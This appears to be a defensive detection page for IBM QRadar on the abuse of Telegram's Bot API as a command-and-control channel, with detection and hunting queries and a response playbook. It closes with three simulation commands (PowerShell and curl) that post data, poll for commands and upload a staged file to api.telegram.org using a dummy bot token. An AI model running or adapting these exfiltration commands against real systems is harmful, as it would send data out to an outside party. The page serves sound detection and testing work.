THREAT-TelegramBot-C2Channel IBM QRadar · QRadar

Detect Telegram Bot API Abused as Bidirectional Command-and-Control Channel in IBM QRadar

Adversaries increasingly abuse the Telegram Bot API (https://api.telegram.org/bot<token>/<method>) as a fully bidirectional command-and-control channel instead of standing up and defending dedicated C2 infrastructure. Check Point Research documented this pattern in the ToxicEye RAT campaign, where implants registered a Telegram bot at build time and used the bot's sendMessage/sendDocument endpoints to exfiltrate keystrokes and files while polling getUpdates for operator-issued commands (start keylogger, list files, take screenshot, run shell command). The technique is attractive to both commodity malware builders and more targeted operators because api.telegram.org is a single, TLS-encrypted, broadly-trusted consumer domain owned by a legitimate global service — it is rarely blocked by web/egress filtering, blends in with normal Telegram Desktop and mobile-companion traffic, requires no attacker-controlled domain registration or hosting, and Telegram's own infrastructure absorbs the C2 traffic cost. Because every command and every exfiltrated byte transits a single well-known API endpoint, the durable detection signal is not the destination (which is legitimately popular) but the combination of a non-Telegram-client process making repeated HTTPS calls to that endpoint, especially where the request path or command line contains the distinctive bot API token format (bot<8-10 digit numeric id>:<35-character alphanumeric secret>) or method names such as /sendMessage, /getUpdates, /sendDocument, and /sendPhoto.

MITRE ATT&CK

Tactic
Command and Control

QRadar Detection Query

IBM QRadar (QRadar)
sql
SELECT
  DATEFORMAT(MIN(starttime), 'yyyy-MM-dd HH:mm:ss') AS FirstSeen,
  DATEFORMAT(MAX(starttime), 'yyyy-MM-dd HH:mm:ss') AS LastSeen,
  sourceip,
  "Process Name" AS ProcessName,
  destinationip,
  COUNT(*) AS ConnectionCount
FROM events
WHERE (destinationip LIKE '149.154.%' OR destinationip LIKE '91.108.4.%' OR destinationip LIKE '91.108.5.%' OR destinationip LIKE '91.108.6.%' OR destinationip LIKE '91.108.7.%')
  AND destinationport IN (443, 80)
  AND "Process Name" NOT IN ('Telegram.exe', 'TelegramDesktop.exe', 'chrome.exe', 'msedge.exe', 'firefox.exe')
GROUP BY sourceip, "Process Name", destinationip
HAVING COUNT(*) >= 3
ORDER BY ConnectionCount DESC
LAST 24 HOURS
high severity medium confidence

QRadar AQL query aggregating network flow events to Telegram's published IP ranges (149.154.0.0/16, 91.108.4.0/22-91.108.7.0/22) on ports 443/80, excluding known-legitimate Telegram client and browser process names via a custom 'Process Name' property populated from an endpoint log source (e.g., Sysmon DSM). Surfaces any remaining process making 3 or more connections within 24 hours as a candidate Telegram-Bot-API C2 implant. Requires a log source extension exposing process name alongside NetFlow/firewall data, or a join against endpoint process logs.

Data Sources

QRadar Network Activity (NetFlow/IPFIX)Endpoint process logs (Sysmon DSM) for process-name enrichmentFirewall log sources (Palo Alto, Fortinet, Check Point)

Required Tables

events

False Positives & Tuning

  • Legitimate Telegram Desktop/mobile-companion usage not excluded by the process-name filter — extend the exclusion list to the organization's approved binaries
  • Approved chatops/CI notification integrations posting to a known Telegram bot
  • Shared NAT/proxy egress aggregating multiple users' legitimate Telegram traffic under one source IP

Other platforms for THREAT-TelegramBot-C2Channel


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate Telegram Bot API Exfil via PowerShell Invoke-RestMethod

    Expected signal: Sysmon Event ID 1: powershell.exe process creation with command line referencing api.telegram.org and a bot token pattern. Sysmon Event ID 3 / DeviceNetworkEvents: outbound HTTPS connection attempt to api.telegram.org (149.154.0.0/16) from powershell.exe. PowerShell ScriptBlock Log Event ID 4104 with the full script content including the bot token string.

  2. Test 2Simulate Telegram Bot API C2 Polling via curl

    Expected signal: Process execution logs (auditd/Sysmon for Linux Event ID 1) showing curl invoked with a URL containing api.telegram.org and the getUpdates method. Network connection logs showing 5 repeated HTTPS connections to Telegram IP ranges at 5-second intervals from a non-Telegram-client process.

  3. Test 3Simulate Telegram Bot API File Exfil via sendDocument

    Expected signal: Unified log / EndpointSecurity process execution event for curl with command line containing api.telegram.org, a bot token pattern, and the sendDocument method. Network connection event to Telegram IP ranges over HTTPS with a multipart file upload.


Response Playbook

Triage

  1. Identify the initiating process and its full path/hash — a Telegram bot C2 implant is rarely a signed, well-known binary; check whether the process is unsigned, running from a temp/AppData directory, or masquerading as a system binary
  2. Extract the bot token (bot<digits>:<35-char secret>) from the command line or request path if present, and query Telegram's Bot API getMe/getChat methods (via a safe, isolated analysis environment, not the victim host) to enumerate the bot's registered name and associated chat/channel for attribution
  3. Review the frequency and regularity of getUpdates polling — a fixed short-interval poll (long-polling every few seconds) indicates active command tasking, consistent with an operator actively controlling the implant
  4. Check for correlated DeviceFileEvents or DeviceProcessEvents around the same timeframe (screenshot capture, file staging, credential access) that would be consistent with commands received via sendMessage/getUpdates and results exfiltrated via sendDocument/sendPhoto
  5. Determine whether the host has a legitimate business reason to use the Telegram Bot API (approved chatops/notification integration) before treating the finding as malicious — check against an internal registry of approved bot tokens if one exists

Containment

  1. Block api.telegram.org and Telegram's published IP ranges (149.154.0.0/16, 91.108.4.0/22) at the proxy/firewall for the affected host or network segment if no legitimate business use of Telegram is present
  2. Isolate the endpoint via EDR if the implant shows evidence of active command execution or credential/file exfiltration
  3. Revoke the abused Telegram bot token where feasible (attackers rarely rotate tokens quickly; if identifiable and confirmed malicious, report it to Telegram's abuse team to have the bot disabled server-side)
  4. Kill the identified process and remove its persistence mechanism (scheduled task, run key, service) once confirmed malicious

Evidence Collection

  1. Full proxy/firewall logs showing every request to api.telegram.org from the affected host, including full URL paths (which may contain the bot token and method)
  2. Process creation and command-line logs (Sysmon Event ID 1, DeviceProcessEvents) for the initiating process, including parent process chain to establish the initial infection vector
  3. Any local configuration/dropper artifact on disk that may hardcode the bot token or chat ID — common in ToxicEye-style implants delivered via malicious Office macro attachments
  4. Memory capture of the running implant process if still active, for malware family identification and full C2 command history extraction

Escalation Criteria

  • !Confirmed bot token evidence combined with correlated file staging, screenshot capture, or credential-access activity on the same host — indicates an active, functioning C2 implant rather than benign chatops usage
  • !Multiple hosts across the environment beaconing to the same Telegram bot token/chat ID — indicates a broader compromise or a widely-deployed commodity loader
  • !The initiating process is unsigned, packed, or was spawned from a phishing-delivered Office document or script — consistent with the ToxicEye delivery chain
  • !Evidence that the bot has issued shell-execution or keylogging commands (visible in getUpdates response bodies if full packet/TLS-inspected content is available)

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Proxy/firewall logs with full URL paths to api.telegram.org, including the bot token and method name if not TLS-inspected only at the SNI/domain level
  • >Sysmon Event ID 3 / DeviceNetworkEvents showing the initiating process and destination for each connection
  • >Dropper/implant binary or script on disk with the hardcoded bot token and chat ID string — recoverable via static analysis even if the process has been killed
  • >Registry Run keys, scheduled tasks, or startup folder entries used for persistence of the Telegram-based implant
  • >PowerShell ScriptBlock Log (Event ID 4104) if the implant is script-based and uses Invoke-RestMethod/Invoke-WebRequest against the Bot API

Tuning Guidance

Before enabling as a high-severity alert, inventory any legitimate internal use of the Telegram Bot API for chatops, CI/CD notifications, or monitoring integrations, and build an explicit allowlist keyed on (source host, bot_id) rather than blanket-excluding the domain — blanket domain exclusion would blind the detection entirely, since the domain itself is the whole point of the abuse. Where full URL logging is unavailable (TLS-inspected proxies logging only SNI), rely primarily on the process-based hunting query and the non-Telegram-client-process network heuristic rather than the bot-token regex, which requires visibility into the request path or command line.


Hunting Queries

Hunt directly for the Telegram bot token format or the literal string api.telegram.org appearing in process command lines over a 14-day window — catches script-based implants (PowerShell, Python, curl one-liners) that invoke the Bot API directly rather than through a compiled binary, which the network-only detection above would still catch but this surfaces the token/script content for attribution.

Hunting — KQL
kql
DeviceProcessEvents
| where Timestamp > ago(14d)
| where ProcessCommandLine has "api.telegram.org" or ProcessCommandLine matches regex @"bot\d{8,10}:[A-Za-z0-9_-]{35}"
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessParentFileName
| sort by Timestamp desc
Hunting — SPL
spl
index=* sourcetype IN ("WinEventLog:Microsoft-Windows-Sysmon/Operational", "XmlWinEventLog:Microsoft-Windows-Sysmon/Operational") EventCode=1 CommandLine="*api.telegram.org*" OR CommandLine="*bot*:*"
| regex CommandLine="bot\d{8,10}:[A-Za-z0-9_\-]{35}"
| table _time, host, Image, CommandLine, ParentImage
| sort - _time

Hunt for the same non-browser process name reaching api.telegram.org from multiple distinct hosts over 14 days — a strong indicator of a commodity loader/RAT that has spread beyond a single patient-zero host, since organic per-user Telegram bot usage rarely fans out identically across many endpoints under the same process name.

Hunting — KQL
kql
DeviceNetworkEvents
| where Timestamp > ago(14d)
| where RemoteUrl has "api.telegram.org"
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Devices=dcount(DeviceName) by InitiatingProcessFileName
| where Devices > 1
| sort by Devices desc
Hunting — SPL
spl
index=proxy sourcetype IN ("stream:http", "squid") dest_host="api.telegram.org" earliest=-14d
| stats dc(src_ip) as Devices, earliest(_time) as FirstSeen, latest(_time) as LastSeen by process_name
| where Devices > 1
| sort - Devices

Atomic Red Team Tests

Test 1 Simulate Telegram Bot API Exfil via PowerShell Invoke-RestMethod
windows

Simulates a Telegram-Bot-API-based implant exfiltrating data by POSTing to the sendMessage endpoint from PowerShell, mimicking ToxicEye-style RAT behavior. Uses a syntactically valid but non-functional bot token so no real Telegram infrastructure is contacted with live credentials; the DNS/network attempt to api.telegram.org is what generates the detectable telemetry.

Command

powershell
powershell -Command "$token='bot123456789:AAHtest_simulated_token_not_realABCDEFGHIJK'; try { Invoke-RestMethod -Uri \"https://api.telegram.org/$token/sendMessage?chat_id=000000&text=exfil_test\" -Method Get -TimeoutSec 5 } catch {}"

Expected Telemetry

Sysmon Event ID 1: powershell.exe process creation with command line referencing api.telegram.org and a bot token pattern. Sysmon Event ID 3 / DeviceNetworkEvents: outbound HTTPS connection attempt to api.telegram.org (149.154.0.0/16) from powershell.exe. PowerShell ScriptBlock Log Event ID 4104 with the full script content including the bot token string.

Expected Detection

KQL/SPL detections fire on a non-Telegram-client process (powershell.exe) connecting to api.telegram.org with a bot-token-format string and the sendMessage method present in the command line, yielding high confidence.

Test 2 Simulate Telegram Bot API C2 Polling via curl
linux

Simulates the C2 tasking side of a Telegram Bot API implant by repeatedly polling the getUpdates endpoint, mimicking long-poll command retrieval used by Telegram-based RATs and loaders on Linux hosts.

Command

bash
for i in $(seq 1 5); do curl -s -o /dev/null -m 5 "https://api.telegram.org/bot123456789:AAHtest_simulated_token_not_realABCDEFGHIJK/getUpdates" 2>/dev/null; sleep 5; done

Expected Telemetry

Process execution logs (auditd/Sysmon for Linux Event ID 1) showing curl invoked with a URL containing api.telegram.org and the getUpdates method. Network connection logs showing 5 repeated HTTPS connections to Telegram IP ranges at 5-second intervals from a non-Telegram-client process.

Expected Detection

Network-based detection fires on repeated connections (ConnectionCount >= 3) from curl (not an allowlisted Telegram client) to api.telegram.org, with HasBotApiMethod=true due to the getUpdates method in the request, yielding high confidence.

Test 3 Simulate Telegram Bot API File Exfil via sendDocument
macos

Simulates exfiltration of a staged file via the Telegram Bot API sendDocument endpoint using curl's multipart form upload, mimicking how commodity stealers upload harvested credential/browser data files to an attacker-controlled Telegram bot on macOS/Linux hosts.

Command

bash
echo 'simulated staged data' > /tmp/atomic_exfil_test.txt && curl -s -o /dev/null -m 5 -F document=@/tmp/atomic_exfil_test.txt "https://api.telegram.org/bot123456789:AAHtest_simulated_token_not_realABCDEFGHIJK/sendDocument?chat_id=000000" 2>/dev/null

Cleanup

bash
rm -f /tmp/atomic_exfil_test.txt

Expected Telemetry

Unified log / EndpointSecurity process execution event for curl with command line containing api.telegram.org, a bot token pattern, and the sendDocument method. Network connection event to Telegram IP ranges over HTTPS with a multipart file upload.

Expected Detection

Detection fires on the non-Telegram-client process (curl) reaching api.telegram.org with the sendDocument method present, flagged as high confidence due to the bot-token and Bot-API-method evidence.

Related Detections